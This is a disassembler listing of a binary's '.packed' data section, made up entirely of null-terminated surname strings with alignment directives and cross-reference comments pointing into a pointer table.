aMerikoski db 'Merikoski',0 ; DATA XREF: .packed:0042E4B0o
align 4
aMenzies db 'Menzies',0 ; DATA XREF: .packed:0042E4ACo
aMemisoglu db 'Memisoglu',0 ; DATA XREF: .packed:0042E4A8o
align 4
aMeccariello db 'Meccariello',0 ; DATA XREF: .packed:0042E4A4o
aMcnulty db 'Mcnulty',0 ; DATA XREF: .packed:0042E4A0o
aMcnealy db 'Mcnealy',0 ; DATA XREF: .packed:0042E49Co
aMclaren db 'Mclaren',0 ; DATA XREF: .packed:0042E498o
aMclane db 'Mclane',0 ; DATA XREF: .packed:0042E494o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: .packed:0042E490o
aMcintosh db 'Mcintosh',0 ; DATA XREF: .packed:0042E48Co
align 4
aMcilroy db 'McIlroy',0 ; DATA XREF: .packed:0042E488o
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .packed:0042E484o
align 10h
aMcghee db 'Mcghee',0 ; DATA XREF: .packed:0042E480o
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: .packed:0042E47Co
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: .packed:0042E478o
aMcdowell db 'Mcdowell',0 ; DATA XREF: .packed:0042E474o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: .packed:0042E470o
align 4
aMccall db 'Mccall',0 ; DATA XREF: .packed:0042E46Co
align 4
aMccaffery db 'Mccaffery',0 ; DATA XREF: .packed:0042E468o
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: .packed:0042E464o
aMazziotta db 'Mazziotta',0 ; DATA XREF: .packed:0042E460o
align 4
aMazzali db 'Mazzali',0
aMay db 'May',0
aMauzy db 'Mauzy',0
align 10h
aMattson db 'Mattson',0
aMatsukata db 'Matsukata',0
align 4
aMatarazzo db 'Matarazzo',0
align 10h
aMatalka db 'Matalka',0
aMass db 'Mass',0
align 10h
aMarubini db 'Marubini',0
align 4
aMarton db 'Marton',0
align 4
aMartochio db 'Martochio',0
align 10h
aMartinez db 'Martinez',0
align 4
aMarques db 'Marques',0
aMargetts db 'Margetts',0
align 10h
aMargalit db 'Margalit',0
align 4
aMarcus db 'Marcus',0
align 4
aMarchbanks db 'Marchbanks',0
align 10h
aMarch db 'March',0
align 4
aMantovan db 'Mantovan',0
align 4
aManganiello db 'Manganiello',0
aMandel db 'Mandel',0
align 4
aManalis db 'Manalis',0
aMalova db 'Malova',0
align 4
aMaller db 'Maller',0
align 10h
aMalatesta db 'Malatesta',0
align 4
aMaisano db 'Maisano',0
aMaineHershey db 'Maine-Hershey',0
align 4
aMaier db 'Maier',0
align 4
aMahony db 'Mahony',0
align 4
aMaggio db 'Maggio',0
align 4
aMadigan db 'Madigan',0
aMacy db 'Macy',0
align 4
aMacmillan db 'MacMillan',0
align 4
aMackenney db 'Mackenney',0
align 4
aMacintyre db 'Macintyre',0
align 10h
aMaceachern db 'Maceachern',0
align 4
aMacdonald db 'Macdonald',0
align 4
aMaccormac db 'Maccormac',0
align 4
aMa db 'Ma',0 ; DATA XREF: .packed:0042E3C4o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: .packed:0042E3C0o
aLutcavage db 'Lutcavage',0 ; DATA XREF: .packed:0042E3BCo
align 4
aLussier db 'Lussier',0 ; DATA XREF: .packed:0042E3B8o
aLuoma db 'Luoma',0 ; DATA XREF: .packed:0042E3B4o
align 4
aLunetta db 'Lunetta',0 ; DATA XREF: .packed:0042E3B0o
aLuecke db 'Luecke',0 ; DATA XREF: .packed:0042E3ACo
align 4
aLuczkow db 'Luczkow',0 ; DATA XREF: .packed:0042E3A8o
aLuciano db 'Luciano',0 ; DATA XREF: .packed:0042E3A4o
aLucas db 'Lucas',0 ; DATA XREF: .packed:0042E3A0o
align 4
aLubin db 'Lubin',0 ; DATA XREF: .packed:0042E39Co
align 4
aLoza db 'Loza',0 ; DATA XREF: .packed:0042E398o
align 4
aLowenstein db 'Lowenstein',0 ; DATA XREF: .packed:0042E394o
align 10h
aLoveman db 'Loveman',0 ; DATA XREF: .packed:0042E390o
aLoss db 'Loss',0 ; DATA XREF: .packed:0042E38Co
align 10h
aLongworth db 'Longworth',0 ; DATA XREF: .packed:0042E388o
align 4
aLocatelli db 'Locatelli',0 ; DATA XREF: .packed:0042E384o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: .packed:0042E380o
aLivolsi db 'Livolsi',0 ; DATA XREF: .packed:0042E37Co
aLivi db 'Livi',0 ; DATA XREF: .packed:0042E378o
align 10h
aLivernash db 'Livernash',0 ; DATA XREF: .packed:0042E374o
align 4
aLitvak db 'Litvak',0 ; DATA XREF: .packed:0042E370o
align 4
aLittle db 'Little',0 ; DATA XREF: .packed:0042E36Co
align 4
aLipponen db 'Lipponen',0 ; DATA XREF: .packed:0042E368o
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: .packed:0042E364o
align 4
aLinzee db 'Linzee',0 ; DATA XREF: .packed:0042E360o
align 4
aLinehan db 'Linehan',0 ; DATA XREF: .packed:0042E35Co
aLine db 'Line',0 ; DATA XREF: .packed:0042E358o
align 4
aLinder db 'Linder',0 ; DATA XREF: .packed:0042E354o
align 4
aLinda db 'Linda',0 ; DATA XREF: .packed:0042E350o
align 4
aLinares db 'Linares',0 ; DATA XREF: .packed:0042E34Co
aLim db 'Lim',0 ; DATA XREF: .packed:0042E348o
aLightfoot db 'Lightfoot',0 ; DATA XREF: .packed:0042E344o
align 4
aLight db 'Light',0 ; DATA XREF: .packed:0042E340o
align 4
aLiem db 'Liem',0 ; DATA XREF: .packed:0042E33Co
align 4
aLidano db 'Lidano',0 ; DATA XREF: .packed:0042E338o
align 4
aLiakos db 'Liakos',0 ; DATA XREF: .packed:0042E334o
align 4
aLessi db 'Lessi',0 ; DATA XREF: .packed:0042E330o
align 4
aLesser db 'Lesser',0 ; DATA XREF: .packed:0042E32Co
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .packed:0042E328o
align 10h
aLenard db 'Lenard',0 ; DATA XREF: .packed:0042E324o
align 4
aLeite db 'Leite',0 ; DATA XREF: .packed:0042E320o
align 10h
aLeclercq db 'Leclercq',0 ; DATA XREF: .packed:0042E31Co
align 4
aLecce db 'Lecce',0 ; DATA XREF: .packed:0042E318o
align 4
aLecar db 'Lecar',0 ; DATA XREF: .packed:0042E314o
align 4
aLawless db 'Lawless',0 ; DATA XREF: .packed:0042E310o
aLashley db 'Lashley',0 ; DATA XREF: .packed:0042E30Co
aLaserna db 'Laserna',0 ; DATA XREF: .packed:0042E308o
aLanzit db 'Lanzit',0 ; DATA XREF: .packed:0042E304o
align 4
aLantieri db 'Lantieri',0 ; DATA XREF: .packed:0042E300o
align 4
aLankes db 'Lankes',0 ; DATA XREF: .packed:0042E2FCo
align 10h
aLandes db 'Landes',0 ; DATA XREF: .packed:0042E2F8o
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: .packed:0042E2F4o
; .packed:0043294Co
align 4
aLaing db 'Laing',0 ; DATA XREF: .packed:0042E2F0o
align 4
aLafler db 'Lafler',0 ; DATA XREF: .packed:0042E2ECo
; .packed:off_4327E8o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: .packed:0042E2E8o
aLa db 'La',0 ; DATA XREF: .packed:0042E2E4o
align 10h
aKuwabara db 'Kuwabara',0 ; DATA XREF: .packed:0042E2E0o
align 4
aKusman db 'Kusman',0 ; DATA XREF: .packed:0042E2DCo
align 4
aKumar db 'Kumar',0 ; DATA XREF: .packed:0042E2D8o
align 4
aKuenzli db 'Kuenzli',0 ; DATA XREF: .packed:0042E2D4o
aKrysiak db 'Krysiak',0 ; DATA XREF: .packed:0042E2D0o
aKroemer db 'Kroemer',0 ; DATA XREF: .packed:0042E2CCo
aKraus db 'Kraus',0 ; DATA XREF: .packed:0042E2C8o
align 4
aKrasney db 'Krasney',0 ; DATA XREF: .packed:0042E2C4o
aKrailo db 'Krailo',0 ; DATA XREF: .packed:0042E2C0o
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: .packed:0042E2BCo
aKovaks db 'Kovaks',0 ; DATA XREF: .packed:0042E2B8o
align 4
aKotter db 'Kotter',0 ; DATA XREF: .packed:0042E2B4o
align 4
aKorzybski db 'Korzybski',0 ; DATA XREF: .packed:0042E2B0o
align 10h
aKool db 'Kool',0 ; DATA XREF: .packed:0042E2ACo
align 4
aKonrad db 'Konrad',0 ; DATA XREF: .packed:0042E2A8o
align 10h
aKoniaris db 'Koniaris',0 ; DATA XREF: .packed:0042E2A4o
align 4
aKommer db 'Kommer',0 ; DATA XREF: .packed:0042E2A0o
align 4
aKoivumaki db 'Koivumaki',0 ; DATA XREF: .packed:0042E29Co
align 10h
aKohn db 'Kohn',0 ; DATA XREF: .packed:0042E298o
align 4
aKoch db 'Koch',0 ; DATA XREF: .packed:0042E294o
align 10h
aKobrick db 'Kobrick',0 ; DATA XREF: .packed:0042E290o
aKnuff db 'Knuff',0 ; DATA XREF: .packed:0042E28Co
align 10h
aKlint db 'Klint',0 ; DATA XREF: .packed:0042E288o
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .packed:0042E284o
aKling db 'Kling',0 ; DATA XREF: .packed:0042E280o
align 4
aKlemperer db 'Klemperer',0 ; DATA XREF: .packed:0042E27Co
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .packed:0042E278o
aKleiman db 'Kleiman',0 ; DATA XREF: .packed:0042E274o
aKleckner db 'Kleckner',0 ; DATA XREF: .packed:0042E270o
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: .packed:0042E26Co
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: .packed:0042E268o
aKippenberger db 'Kippenberger',0 ; DATA XREF: .packed:0042E264o
align 4
aKinsley db 'Kinsley',0 ; DATA XREF: .packed:0042E260o
aKindall db 'Kindall',0 ; DATA XREF: .packed:0042E25Co
aKimura db 'Kimura',0 ; DATA XREF: .packed:0042E258o
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: .packed:0042E254o
aKimmel db 'Kimmel',0 ; DATA XREF: .packed:0042E250o
align 4
aKhong db 'Khong',0 ; DATA XREF: .packed:0042E24Co
align 4
aKeul db 'Keul',0 ; DATA XREF: .packed:0042E248o
align 4
aKerry db 'Kerry',0 ; DATA XREF: .packed:0042E244o
align 4
aKendall db 'Kendall',0 ; DATA XREF: .packed:0042E240o
aKemsley db 'Kemsley',0 ; DATA XREF: .packed:0042E23Co
aKempton db 'Kempton',0 ; DATA XREF: .packed:0042E238o
aKelsey db 'Kelsey',0 ; DATA XREF: .packed:0042E234o
align 4
aKelker db 'Kelker',0 ; DATA XREF: .packed:0042E230o
align 4
aKeith db 'Keith',0 ; DATA XREF: .packed:0042E22Co
align 4
aKeepper db 'Keepper',0 ; DATA XREF: .packed:0042E228o
aKeenan db 'Keenan',0 ; DATA XREF: .packed:0042E224o
align 4
aKee db 'Kee',0 ; DATA XREF: .packed:0042E220o
aKawachi db 'Kawachi',0 ; DATA XREF: .packed:0042E21Co
aKasten db 'Kasten',0 ; DATA XREF: .packed:0042E218o
align 10h
aKassower db 'Kassower',0 ; DATA XREF: .packed:0042E214o
align 4
aKarpouzes db 'Karpouzes',0 ; DATA XREF: .packed:0042E210o
align 4
aKangis db 'Kangis',0 ; DATA XREF: .packed:0042E20Co
align 10h
aKamel db 'Kamel',0 ; DATA XREF: .packed:0042E208o
align 4
aKalman db 'Kalman',0 ; DATA XREF: .packed:0042E204o
align 10h
aKalinowski db 'Kalinowski',0 ; DATA XREF: .packed:0042E200o
align 4
aKalil db 'Kalil',0 ; DATA XREF: .packed:0042E1FCo
align 4
aKaligian db 'Kaligian',0 ; DATA XREF: .packed:0042E1F8o
align 10h
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .packed:0042E1F4o
aKafadar db 'Kafadar',0 ; DATA XREF: .packed:0042E1F0o
aKaboolian db 'Kaboolian',0 ; DATA XREF: .packed:0042E1ECo
align 10h
aKabbash db 'Kabbash',0 ; DATA XREF: .packed:0042E1E8o
aJulious db 'Julious',0 ; DATA XREF: .packed:0042E1E4o
aJuliano db 'Juliano',0 ; DATA XREF: .packed:0042E1E0o
aJucks db 'Jucks',0 ; DATA XREF: .packed:0042E1DCo
align 10h
aJorgensen db 'Jorgensen',0 ; DATA XREF: .packed:0042E1D8o
align 4
aJolly db 'Jolly',0 ; DATA XREF: .packed:0042E1D4o
align 4
aJohns db 'Johns',0 ; DATA XREF: .packed:0042E1D0o
align 4
aJohannsen db 'Johannsen',0 ; DATA XREF: .packed:0042E1CCo
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: .packed:0042E1C8o
aJewett db 'Jewett',0 ; DATA XREF: .packed:0042E1C4o
align 4
aJespersen db 'Jespersen',0 ; DATA XREF: .packed:0042E1C0o
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: .packed:0042E1BCo
aJellis db 'Jellis',0 ; DATA XREF: .packed:0042E1B8o
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: .packed:0042E1B4o
aJay db 'Jay',0 ; DATA XREF: .packed:0042E1B0o
aJarrell db 'Jarrell',0 ; DATA XREF: .packed:0042E1ACo
aJarnagin db 'Jarnagin',0 ; DATA XREF: .packed:0042E1A8o
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: .packed:0042E1A4o
align 4
aJamil db 'Jamil',0 ; DATA XREF: .packed:0042E1A0o
align 4
aJain db 'Jain',0 ; DATA XREF: .packed:0042E19Co
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: .packed:0042E198o
align 4
aJagger db 'Jagger',0 ; DATA XREF: .packed:0042E194o
align 4
aJagers db 'Jagers',0 ; DATA XREF: .packed:0042E190o
align 4
aJackson db 'Jackson',0 ; DATA XREF: .packed:0042E18Co
aJacenko db 'Jacenko',0 ; DATA XREF: .packed:0042E188o
aIyer db 'Iyer',0 ; DATA XREF: .packed:0042E184o
align 4
aIsserman db 'Isserman',0 ; DATA XREF: .packed:0042E180o
align 10h
aIsbill db 'Isbill',0 ; DATA XREF: .packed:0042E17Co
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: .packed:0042E178o
align 4
aIsaac db 'Isaac',0 ; DATA XREF: .packed:0042E174o
align 4
aInniss db 'Inniss',0 ; DATA XREF: .packed:0042E170o
align 4
aInamura db 'Inamura',0 ; DATA XREF: .packed:0042E16Co
aIgarashi db 'Igarashi',0 ; DATA XREF: .packed:0042E168o
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: .packed:0042E164o
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: .packed:0042E160o
align 10h
aHyde db 'Hyde',0 ; DATA XREF: .packed:0042E15Co
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: .packed:0042E158o
align 4
aHurtubise db 'Hurtubise',0 ; DATA XREF: .packed:0042E154o
align 10h
aHupp db 'Hupp',0 ; DATA XREF: .packed:0042E150o
align 4
aHuntington db 'Huntington',0 ; DATA XREF: .packed:0042E14Co
align 4
aHungerford db 'Hungerford',0 ; DATA XREF: .packed:0042E148o
align 10h
aHuidekoper db 'Huidekoper',0 ; DATA XREF: .packed:0042E144o
align 4
aHuey db 'Huey',0 ; DATA XREF: .packed:0042E140o
align 4
aHoy db 'Hoy',0 ; DATA XREF: .packed:0042E13Co
aHoward db 'Howard',0 ; DATA XREF: .packed:0042E138o
align 10h
aHottle db 'Hottle',0 ; DATA XREF: .packed:0042E134o
align 4
aHostage db 'Hostage',0 ; DATA XREF: .packed:0042E130o
aHoshida db 'Hoshida',0 ; DATA XREF: .packed:0042E12Co
aHorsley db 'Horsley',0 ; DATA XREF: .packed:0042E128o
aHopkins db 'Hopkins',0 ; DATA XREF: .packed:0042E124o
aHooker db 'Hooker',0 ; DATA XREF: .packed:0042E120o
align 10h
aHolzman db 'Holzman',0 ; DATA XREF: .packed:0042E11Co
aHolway db 'Holway',0 ; DATA XREF: .packed:0042E118o
align 10h
aHolter db 'Holter',0 ; DATA XREF: .packed:0042E114o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: .packed:0042E110o
aHolmes db 'Holmes',0 ; DATA XREF: .packed:0042E10Co
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: .packed:0042E108o
align 10h
aHokanson db 'Hokanson',0 ; DATA XREF: .packed:0042E104o
align 4
aHoffman db 'Hoffman',0 ; DATA XREF: .packed:0042E100o
aHoffer db 'Hoffer',0 ; DATA XREF: .packed:0042E0FCo
align 4
aHock db 'Hock',0 ; DATA XREF: .packed:0042E0F8o
align 4
aHoang db 'Hoang',0 ; DATA XREF: .packed:0042E0F4o
align 4
aHitchcock db 'Hitchcock',0 ; DATA XREF: .packed:0042E0F0o
align 4
aHirst db 'Hirst',0 ; DATA XREF: .packed:0042E0ECo
align 10h
aHind db 'Hind',0 ; DATA XREF: .packed:0042E0E8o
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .packed:0042E0E4o
align 4
aHeyeck db 'Heyeck',0 ; DATA XREF: .packed:0042E0E0o
align 4
aHeubert db 'Heubert',0 ; DATA XREF: .packed:0042E0DCo
aHester db 'Hester',0 ; DATA XREF: .packed:0042E0D8o
align 4
aHerrera db 'Herrera',0 ; DATA XREF: .packed:0042E0D4o
aHernandez db 'Hernandez',0 ; DATA XREF: .packed:0042E0D0o
align 10h
aHenrichs db 'Henrichs',0 ; DATA XREF: .packed:0042E0CCo
align 4
aHenery db 'Henery',0 ; DATA XREF: .packed:0042E0C8o
align 4
aHemphill db 'Hemphill',0 ; DATA XREF: .packed:0042E0C4o
align 10h
aHelprin db 'Helprin',0 ; DATA XREF: .packed:0042E0C0o
aHellmiss db 'Hellmiss',0 ; DATA XREF: .packed:0042E0BCo
align 4
aHellman db 'Hellman',0 ; DATA XREF: .packed:0042E0B8o
aHeiland db 'Heiland',0 ; DATA XREF: .packed:0042E0B4o
aHeft db 'Heft',0 ; DATA XREF: .packed:0042E0B0o
align 4
aHeermans db 'Heermans',0 ; DATA XREF: .packed:0042E0ACo
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: .packed:0042E0A8o
align 4
aHaynes db 'Haynes',0 ; DATA XREF: .packed:0042E0A4o
align 4
aHayes db 'Hayes',0 ; DATA XREF: .packed:0042E0A0o
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: .packed:0042E09Co
align 4
aHaviaras db 'Haviaras',0 ; DATA XREF: .packed:0042E098o
align 4
aHarwell db 'Harwell',0 ; DATA XREF: .packed:0042E094o
aHartnett db 'Hartnett',0 ; DATA XREF: .packed:0042E090o
align 4
aHartmann db 'Hartmann',0 ; DATA XREF: .packed:0042E08Co
align 4
aHartman db 'Hartman',0 ; DATA XREF: .packed:0042E088o
aHarrigan db 'Harrigan',0 ; DATA XREF: .packed:0042E084o
align 4
aHarlow db 'Harlow',0 ; DATA XREF: .packed:0042E080o
align 4
aHargraves db 'Hargraves',0 ; DATA XREF: .packed:0042E07Co
align 10h
aHarding db 'Harding',0 ; DATA XREF: .packed:0042E078o
aHanssen db 'Hanssen',0 ; DATA XREF: .packed:0042E074o
aHand db 'Hand',0 ; DATA XREF: .packed:0042E070o
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: .packed:0042E06Co
align 4
aHamer db 'Hamer',0 ; DATA XREF: .packed:0042E068o
align 4
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .packed:0042E064o
align 4
aHalpert db 'Halpert',0 ; DATA XREF: .packed:0042E060o
aHallowell db 'Hallowell',0 ; DATA XREF: .packed:0042E05Co
align 10h
aHalkias db 'Halkias',0 ; DATA XREF: .packed:0042E058o
aHaley db 'Haley',0 ; DATA XREF: .packed:0042E054o
align 10h
aHackshaw db 'Hackshaw',0 ; DATA XREF: .packed:0042E050o
align 4
aHackman db 'Hackman',0 ; DATA XREF: .packed:0042E04Co
aHaar db 'Haar',0 ; DATA XREF: .packed:0042E048o
align 4
aHa db 'Ha',0 ; DATA XREF: .packed:0042E044o
align 10h
aGuo db 'Guo',0 ; DATA XREF: .packed:0042E040o
aGunn db 'Gunn',0 ; DATA XREF: .packed:0042E03Co
align 4
aGuenthart db 'Guenthart',0 ; DATA XREF: .packed:0042E038o
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: .packed:0042E034o
align 10h
aGruner db 'Gruner',0 ; DATA XREF: .packed:0042E030o
align 4
aGrummell db 'Grummell',0 ; DATA XREF: .packed:0042E02Co
align 4
aGrigoletto db 'Grigoletto',0 ; DATA XREF: .packed:0042E028o
align 10h
aGriffiths db 'Griffiths',0 ; DATA XREF: .packed:0042E024o
align 4
aGreenfeld db 'Greenfeld',0 ; DATA XREF: .packed:0042E020o
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: .packed:0042E01Co
align 4
aGravell db 'Gravell',0 ; DATA XREF: .packed:0042E018o
aGozzi db 'Gozzi',0 ; DATA XREF: .packed:0042E014o
align 4
aGoody db 'Goody',0 ; DATA XREF: .packed:0042E010o
align 4
aGoodearl db 'Goodearl',0 ; DATA XREF: .packed:0042E00Co
align 4
aGood db 'Good',0 ; DATA XREF: .packed:0042E008o
align 10h
aGoncalves db 'Goncalves',0 ; DATA XREF: .packed:0042E004o
align 4
aGoldfarb db 'Goldfarb',0 ; DATA XREF: .packed:0042E000o
align 4
aGlendon db 'Glendon',0 ; DATA XREF: .packed:0042DFFCo
aGlegg db 'Glegg',0 ; DATA XREF: .packed:0042DFF8o
align 4
aGleason db 'Gleason',0 ; DATA XREF: .packed:0042DFF4o
aGist db 'Gist',0 ; DATA XREF: .packed:0042DFF0o
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: .packed:0042DFECo
align 4
aGill db 'Gill',0 ; DATA XREF: .packed:0042DFE8o
align 4
aGili db 'Gili',0 ; DATA XREF: .packed:0042DFE4o
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: .packed:0042DFE0o
aGibson db 'Gibson',0 ; DATA XREF: .packed:0042DFDCo
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: .packed:0042DFD8o
aGhorai db 'Ghorai',0 ; DATA XREF: .packed:0042DFD4o
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: .packed:0042DFD0o
aGeorgi db 'Georgi',0 ; DATA XREF: .packed:0042DFCCo
align 4
aGemberling db 'Gemberling',0 ; DATA XREF: .packed:0042DFC8o
align 10h
aGeller db 'Geller',0 ; DATA XREF: .packed:0042DFC4o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: .packed:0042DFC0o
aGarman db 'Garman',0 ; DATA XREF: .packed:0042DFBCo
align 4
aGarfield db 'Garfield',0 ; DATA XREF: .packed:0042DFB8o
align 4
aGambini db 'Gambini',0 ; DATA XREF: .packed:0042DFB4o
aGalwey db 'Galwey',0 ; DATA XREF: .packed:0042DFB0o
align 4
aGaleotti db 'Galeotti',0 ; DATA XREF: .packed:0042DFACo
align 10h
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .packed:0042DFA8o
align 4
aGabrielli db 'Gabrielli',0 ; DATA XREF: .packed:0042DFA4o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: .packed:0042DFA0o
align 10h
aFurth db 'Furth',0 ; DATA XREF: .packed:0042DF9Co
align 4
aFuller db 'Fuller',0 ; DATA XREF: .packed:0042DF98o
align 10h
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .packed:0042DF94o
align 4
aFrye db 'Frye',0 ; DATA XREF: .packed:0042DF90o
align 4
aFryberger db 'Fryberger',0 ; DATA XREF: .packed:0042DF8Co
align 10h
aFrowiss db 'Frowiss',0 ; DATA XREF: .packed:0042DF88o
aFrisken db 'Frisken',0 ; DATA XREF: .packed:0042DF84o
aFriedland db 'Friedland',0 ; DATA XREF: .packed:0042DF80o
align 4
aFried db 'Fried',0 ; DATA XREF: .packed:0042DF7Co
align 4
aFreundlich db 'Freundlich',0 ; DATA XREF: .packed:0042DF78o
align 10h
aFreid db 'Freid',0 ; DATA XREF: .packed:0042DF74o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .packed:0042DF70o
align 4
aFranz db 'Franz',0 ; DATA XREF: .packed:0042DF6Co
align 10h
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .packed:0042DF68o
align 10h
aFrancisco db 'Francisco',0 ; DATA XREF: .packed:0042DF64o
align 4
aFossi db 'Fossi',0 ; DATA XREF: .packed:0042DF60o
align 4
aFossey db 'Fossey',0 ; DATA XREF: .packed:0042DF5Co
align 4
aFortier db 'Fortier',0 ; DATA XREF: .packed:0042DF58o
aFortes db 'Fortes',0 ; DATA XREF: .packed:0042DF54o
align 4
aForester db 'Forester',0 ; DATA XREF: .packed:0042DF50o
align 4
aFolks db 'Folks',0 ; DATA XREF: .packed:0042DF4Co
align 10h
aFlores db 'Flores',0 ; DATA XREF: .packed:0042DF48o
align 4
aFlier db 'Flier',0 ; DATA XREF: .packed:0042DF44o
align 10h
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .packed:0042DF40o
aFisk db 'Fisk',0 ; DATA XREF: .packed:0042DF3Co
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: .packed:0042DF38o
aFinnegan db 'Finnegan',0 ; DATA XREF: .packed:0042DF34o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: .packed:0042DF30o
aFink db 'Fink',0 ; DATA XREF: .packed:0042DF2Co
align 4
aField db 'Field',0 ; DATA XREF: .packed:0042DF28o
align 4
aFido db 'Fido',0 ; DATA XREF: .packed:0042DF24o
align 4
aFeuer db 'Feuer',0 ; DATA XREF: .packed:0042DF20o
align 4
aFerriell db 'Ferriell',0 ; DATA XREF: .packed:0042DF1Co
align 10h
aFerrante db 'Ferrante',0 ; DATA XREF: .packed:0042DF18o
align 4
aFernandes db 'Fernandes',0 ; DATA XREF: .packed:0042DF14o
align 4
aFernald db 'Fernald',0 ; DATA XREF: .packed:0042DF10o
aFeldman db 'Feldman',0 ; DATA XREF: .packed:0042DF0Co
aFejzo db 'Fejzo',0 ; DATA XREF: .packed:0042DF08o
align 10h
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .packed:0042DF04o
align 4
aFates db 'Fates',0 ; DATA XREF: .packed:0042DF00o
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: .packed:0042DEFCo
align 4
aFarren db 'Farren',0 ; DATA XREF: .packed:0042DEF8o
align 4
aFarone db 'Farone',0 ; DATA XREF: .packed:0042DEF4o
align 4
aFaris db 'Faris',0 ; DATA XREF: .packed:0042DEF0o
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: .packed:0042DEECo
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .packed:0042DEE8o
align 4
aFaioes db 'Faioes',0 ; DATA XREF: .packed:0042DEE4o
align 4
aFagan db 'Fagan',0 ; DATA XREF: .packed:0042DEE0o
align 4
aFabbris db 'Fabbris',0 ; DATA XREF: .packed:0042DEDCo
aEverett db 'Everett',0 ; DATA XREF: .packed:0042DED8o
aEuripides db 'Euripides',0 ; DATA XREF: .packed:0042DED4o
align 4
aEtter db 'Etter',0 ; DATA XREF: .packed:0042DED0o
align 10h
aEstes db 'Estes',0 ; DATA XREF: .packed:0042DECCo
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: .packed:0042DEC8o
align 4
aErez db 'Erez',0 ; DATA XREF: .packed:0042DEC4o
align 4
aErdos db 'Erdos',0 ; DATA XREF: .packed:0042DEC0o
align 4
aErdman db 'Erdman',0 ; DATA XREF: .packed:0042DEBCo
align 4
aErbach db 'Erbach',0 ; DATA XREF: .packed:0042DEB8o
align 4
aEppling db 'Eppling',0 ; DATA XREF: .packed:0042DEB4o
aEnyeart db 'Enyeart',0 ; DATA XREF: .packed:0042DEB0o
aEncinas db 'Encinas',0 ; DATA XREF: .packed:0042DEACo
aElvis db 'Elvis',0 ; DATA XREF: .packed:0042DEA8o
align 4
aElmerick db 'Elmerick',0 ; DATA XREF: .packed:0042DEA4o
align 10h
aElmendorf db 'Elmendorf',0 ; DATA XREF: .packed:0042DEA0o
align 4
aEliasson db 'Eliasson',0 ; DATA XREF: .packed:0042DE9Co
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .packed:0042DE98o
aEdward db 'Edward',0 ; DATA XREF: .packed:0042DE94o
align 4
aEdner db 'Edner',0 ; DATA XREF: .packed:0042DE90o
align 4
aEdley db 'Edley',0 ; DATA XREF: .packed:0042DE8Co
align 4
aEckel db 'Eckel',0 ; DATA XREF: .packed:0042DE88o
align 4
aEbeling db 'Ebeling',0 ; DATA XREF: .packed:0042DE84o
aEardley db 'Eardley',0 ; DATA XREF: .packed:0042DE80o
aDwyer db 'Dwyer',0 ; DATA XREF: .packed:0042DE7Co
align 4
aDussault db 'Dussault',0 ; DATA XREF: .packed:0042DE78o
align 4
aDurrett db 'Durrett',0 ; DATA XREF: .packed:0042DE74o
aDuffin db 'Duffin',0 ; DATA XREF: .packed:0042DE70o
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: .packed:0042DE6Co
aDrinker db 'Drinker',0 ; DATA XREF: .packed:0042DE68o
aDowsland db 'Dowsland',0 ; DATA XREF: .packed:0042DE64o
align 4
aDoug db 'Doug',0 ; DATA XREF: .packed:0042DE60o
align 4
aDoty db 'Doty',0 ; DATA XREF: .packed:0042DE5Co
align 4
aDosi db 'Dosi',0 ; DATA XREF: .packed:0042DE58o
align 4
aDorf db 'Dorf',0 ; DATA XREF: .packed:0042DE54o
align 4
aDore db 'Dore',0 ; DATA XREF: .packed:0042DE50o
align 4
aDoonan db 'Doonan',0 ; DATA XREF: .packed:0042DE4Co
align 4
aDonner db 'Donner',0 ; DATA XREF: .packed:0042DE48o
align 4
